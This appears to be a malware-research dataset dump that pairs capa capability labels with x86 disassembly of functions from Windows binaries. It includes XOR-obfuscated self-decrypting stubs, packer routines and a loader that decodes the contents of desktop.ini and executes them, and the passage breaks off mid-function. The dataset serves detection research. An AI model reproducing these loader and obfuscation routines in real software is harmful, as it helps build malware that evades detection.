joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1010920
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x1035f7c]
mov ecx, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
mov esi, 0x100
push esi
lea eax, [ebp - 0x204]
push eax
mov dword [ebp - 0x20c], ecx
call fcn.01010272
xor eax, eax
cmp edi, eax
je 0x1010983
push 0x10012fc
push esi
lea eax, [ebp - 0x204]
push eax
call fcn.01010882
push edi
push esi
lea eax, [ebp - 0x204]
push eax
call fcn.01010882
xor eax, eax
push eax
lea ecx, [ebp - 0x208]
push ecx
push eax
push 0xf003f
push eax
push eax
push eax
lea eax, [ebp - 0x204]
push eax
push 0x80000000
call dword [0x1001034]
test eax, eax
jne 0x10109d5
test ebx, ebx
je 0x10109d9
push ebx
call dword [0x1001110]
lea eax, [eax + eax + 2]
push eax
push ebx
push 1
push 0
push dword [ebp - 0x20c]
push dword [ebp - 0x208]
call dword [0x1001084]
test eax, eax
je 0x10109d9
xor eax, eax
jmp 0x10109e8
push dword [ebp - 0x208]
call dword [fcn.01001038]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0102451e
leave
ret 0x10

Function at 0x10109fc
Capabilities:
Delete registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x1035f7c]
push ebx
push esi
push edi
lea esi, [ebp + 0x10]
lea edi, [ebp - 0x414]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], eax
mov esi, 0x80
push esi
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [0x10012a0]
push 0x1003f08
push esi
lea eax, [ebp - 0x104]
push eax
call fcn.01010272
lea eax, [ebp - 0x404]
push eax
push esi
lea eax, [ebp - 0x104]
push eax
call fcn.01010882
push 0x1003eec
lea eax, [ebp - 0x104]
push eax
push 0x1003ee0
lea eax, [ebp - 0x204]
push esi
push eax
call fcn.01010854
mov edi, dword [0x1001030]
add esp, 0x14
lea eax, [ebp - 0x204]
push eax
mov ebx, 0x80000000
push ebx
call edi
cmp dword [ebp + 8], 0
je 0x1010af6
push 0x1003ed0
push esi
lea eax, [ebp - 0x304]
push eax
call fcn.01010272
lea eax, [ebp - 0x404]
push eax
push esi
lea eax, [ebp - 0x304]
push eax
call fcn.01010882
lea eax, [ebp - 0x304]
push eax
push ebx
call edi
push 0x1003eb4
lea eax, [ebp - 0x104]
push eax
push 0x1003ee0
lea eax, [ebp - 0x204]
push esi
push eax
call fcn.01010854
add esp, 0x14
lea eax, [ebp - 0x204]
push eax
push ebx
call edi
cmp dword [ebp + 0xc], 0
je 0x1010b27
push 0x1003e94
lea eax, [ebp - 0x104]
push eax
push 0x1003ee0
lea eax, [ebp - 0x204]
push esi
push eax
call fcn.01010854
add esp, 0x14
lea eax, [ebp - 0x204]
push eax
push ebx
call edi
lea eax, [ebp - 0x104]
push eax
push ebx
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor eax, eax
pop ebx
call fcn.0102451e
leave
ret 0x18
Function at 0x1024636
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x1005f18
call fcn.010248ec
xor ebx, ebx
push ebx
mov edi, dword [0x1001158]
call edi
cmp word [eax], 0x5a4d
jne 0x1024673
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1024673
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x102468b
cmp eax, 0x20b
je 0x1024678
mov dword [ebp - 0x1c], ebx
jmp 0x102469f
cmp dword [ecx + 0x84], 0xe
jbe 0x1024673
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x1024699
cmp dword [ecx + 0x74], 0xe
jbe 0x1024673
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x1036b10], 0xffffffff
or dword [0x1036b14], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1036a84]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1036a80]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1036b0c], eax
call fcn.0100a8a3
cmp dword [0x1035f80], ebx
jne 0x10246fa
push fcn.0100a8a3
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01024a79
push 0x1035068
push 0x1035064
call sub.msvcrt.dll__initterm
mov eax, dword [0x1036a7c]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x1036a78]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x38], eax
push 0x1035060
push section..data
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
cmp byte [esi], 0x22
jne 0x1024790
inc esi
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, bl
je 0x1024764
cmp al, 0x22
jne 0x1024756
cmp byte [esi], 0x22
jne 0x102476d
inc esi
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, bl
je 0x1024777
cmp al, 0x20
jbe 0x1024769
mov dword [ebp - 0x54], ebx
lea eax, [ebp - 0x80]
push eax
call dword [0x100115c]
test byte [ebp - 0x54], 1
je 0x102479b
movzx eax, word [ebp - 0x50]
jmp 0x102479e
cmp byte [esi], 0x20
jbe 0x102476d
inc esi
mov dword [ebp - 0x20], esi
jmp 0x1024790
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call main
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x10247bb
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x10247f0
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.01024927
ret
Function at 0x102ed16
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x1035f7c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - 0x118], 0x114
call dword [0x10010f4]
test eax, eax
je 0x102ed5b
cmp dword [ebp - 0x108], 2
jne 0x102ed5b
cmp dword [ebp - 0x114], 5
jb 0x102ed5b
xor eax, eax
inc eax
jmp 0x102ed5d
xor eax, eax
mov ecx, dword [ebp - 4]
call fcn.0102451e
leave
ret

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0xeca1b8
Capabilities:
Decompress data using aplib

Disassembly:
call 0xeca308
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xeca1de
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xeca1ca
add dl, dl
jne 0xeca1e9
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xeca23c
xor eax, eax
add dl, dl
jne 0xeca1f6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xeca2dd
add dl, dl
jne 0xeca205
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xeca210
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xeca21b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xeca226
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xeca232
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xeca1d5
mov eax, 1
add dl, dl
jne 0xeca24a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xeca255
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xeca241
sub eax, ebx
mov ebx, 1
jne 0xeca288
mov ecx, 1
add dl, dl
jne 0xeca26e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xeca279
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xeca265
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xeca1d5
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xeca29f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xeca2aa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xeca296
cmp eax, 0x7d00
jae 0xeca2cd
cmp eax, 0x500
jb 0xeca2c8
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xeca1d5
cmp eax, 0x7f
ja 0xeca2d0
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xeca1d5
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xeca2fe
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xeca1d5
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0xdc4fa8
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdc4fb2
pushal
call 0xdc4fb8
pop ebp
sub ebp, 0x10
sub ebp, 0x9c4fa8
jmp 0xdc4fce
mov eax, 0x9c4fa8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b5
mov edx, 0x2bd5235
xor byte [eax], dl
inc eax
dec ecx
jne 0xdc4fe5
jmp 0xdc4ff8
mov esi, 0x9bcbef8
xor eax, 0xf4b43535
int 0x35
xor eax, 0x8df83635
xor esi, dword [0x1d8f3535]
xor eax, 0xd7c23535
std
mov esi, 0x353539b4
xor eax, 0x6565f036
pop ebp
push ebp
invalid

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x6f9b6f06
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x19a973bc
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x721ab4c0
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x721ab6ad
pushal
mov esi, section.sect_1
lea edi, [esi - 0x74c000]
push edi
or ebp, 0xffffffff
jmp 0x721ab4ea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x721ab4f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x721ab4e0
mov eax, 1
add ebx, ebx
jne 0x721ab503
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x721ab514
jne 0x721ab533
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x721ab533
dec eax
add ebx, ebx
jne 0x721ab520
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x721ab4f8
add ebx, ebx
jne 0x721ab52f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x721ab585
xor ecx, ecx
sub eax, 3
jb 0x721ab54b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x721ab5ba
sar eax, 1
mov ebp, eax
jmp 0x721ab556
add ebx, ebx
jne 0x721ab556
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x721ab524
inc ecx
add ebx, ebx
jne 0x721ab564
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x721ab524
add ebx, ebx
jne 0x721ab571
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x721ab566
jne 0x721ab582
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x721ab566
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x721ab5a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x721ab596
jmp 0x721ab4e6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x721ab5a4
add edi, ecx
jmp 0x721ab4e6
pop esi
mov edi, esi
mov ecx, 0x1875
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x721ab5c2
cmp byte [edi], 9
jne 0x721ab5c2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x721ab5c7
lea edi, [esi + 0x7a6000]
mov eax, dword [edi]
or eax, eax
je 0x721ab63f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7ad314]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7ad440]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x721ab5f4
mov ecx, edi
jns 0x721ab623
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7ad444]
or eax, eax
je 0x721ab639
mov dword [ebx], eax
add ebx, 4
jmp 0x721ab611
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x721ab670
cmp al, 0xef
ja 0x721ab663
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x721ab645
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x721ab652
mov ebp, dword [esi + 0x7ad448]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x721ab6a4
sub esp, 0xffffff80
jmp 0x71a37098
Function at 0xc86854
Capabilities:
Encode data using xor

Disassembly:
jmp 0xc8685e
pushal
call 0xc86864
pop ebp
sub ebp, 0x10
sub ebp, 0x886854
jmp 0xc8687a
mov eax, 0x886854
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a3
mov edx, 0x40fbf2ca
xor byte [eax], dl
inc eax
dec ecx
jne 0xc86891
jmp 0xc868a4
inc ecx
pop es
inc ecx
inc ebx
test dl, 0xca
retf 0xb4b
Function at 0x10036919
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10036953
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
movzx eax, word [eax]
and eax, 0xfff
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
jmp 0x10036976
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x10036976
push 0
push 0x25d9
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov esp, ebp
pop ebp
ret

Function at 0x10037240
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10037278
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xa4c
push 0x15db
push 0x2f1
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
jmp 0x1003738f
mov dword [ebp - 0x18], 2
mov dword [ebp - 0x40], 0xfffffff9
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0xb7834d8a
mov dword [ebp - 0x2c], 4
mov dword [ebp - 0xc], 0xf644accb
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x50], 0x2835357f
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x20], 0x86fa66fa
mov dword [ebp - 8], 0x5bb5
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x24], 0x3e62c90a
mov dword [ebp - 4], 0
jmp 0x100372ea
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jge 0x100372fd
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x38], 0x2aa0a5de
jmp 0x100372e3
cmp dword [ebp - 0x18], 0
jne 0x10037312
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 8], eax
xor eax, eax
inc eax
sub eax, dword [ebp - 8]
je 0x10037384
cmp dword [ebp - 0x1c], 0
je 0x10037361
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xc], eax
jl 0x10037330
mov dword [ebp - 0x10], 1
jmp 0x10037334
and dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x10], eax
jl 0x10037345
mov dword [ebp - 0x28], 1
jmp 0x10037349
and dword [ebp - 0x28], 0
mov eax, dword [ebp - 8]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x30], eax
jg 0x10037361
mov dword [ebp - 0x34], 1
jmp 0x10037365
and dword [ebp - 0x34], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x38]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x3c], 0xf5dd
jl 0x10037384
mov dword [ebp - 0x14], 1
jmp 0x10037388
and dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x40], eax
mov esp, ebp
pop ebp
ret
Function at 0x100397bf
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10039905
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x1003988f
push 8
pop eax
test eax, eax
je 0x10039859
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 4]
add eax, dword [ecx]
mov ecx, dword [ebp - 8]
cmp eax, dword [ecx]
jl 0x10039836
mov dword [ebp - 0xc], 1
jmp 0x1003983a
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [ebp - 0xc], eax
jne 0x10039855
mov dword [ebp - 0x18], 1
jmp 0x10039859
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 4]
mov dword [eax], 1
xor eax, eax
inc eax
jne 0x1003988f
and dword [ebp - 0x20], 0
jmp 0x10039896
mov dword [ebp - 0x20], 1
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
cmp dword [ebp - 0x20], eax
jle 0x100398a9
mov dword [ebp - 0x24], 1
jmp 0x100398ad
and dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
sub eax, 0x731bfd6d
test eax, eax
jle 0x100398c2
mov dword [ebp - 0x28], 1
jmp 0x100398c6
and dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
cmp dword [ebp - 0x28], eax
je 0x100398d9
mov dword [ebp - 0x2c], 1
jmp 0x100398dd
and dword [ebp - 0x2c], 0
cmp dword [ebp - 0x2c], 0x8a57
jg 0x100398ef
mov dword [ebp - 0x14], 1
jmp 0x100398f3
and dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
jmp 0x1003990d
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esp, ebp
pop ebp
ret
Function at 0x1003b617
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1003b65d
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x18]
mov dword [eax], ecx
jmp 0x1003b667
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esp, ebp
pop ebp
ret

Function at 0x1003c800
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x1003c824
xor eax, eax
jmp 0x1003c957
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 8]
push eax
call fcn.1003b617
add esp, 0x10
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x1003c84c
xor eax, eax
jmp 0x1003c957
push 0x26f3
push 1
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
push 0x30e7
push 0x7d86
push 0x6545
push 0x369b
call fcn.1003b138
add esp, 0x20
cmp dword [ebp - 0xc], 0
jne 0x1003c883
xor eax, eax
jmp 0x1003c957
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.1003b66b
add esp, 0x18
push dword [ebp - 8]
push 0
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.10035662
add esp, 0x10
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x14], ecx
je 0x1003c8e3
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x14]
push eax
push 1
push 0x5b4a
push 0x3163
push 0x274b
call fcn.1003b6f4
add esp, 0x18
push dword [ebp - 4]
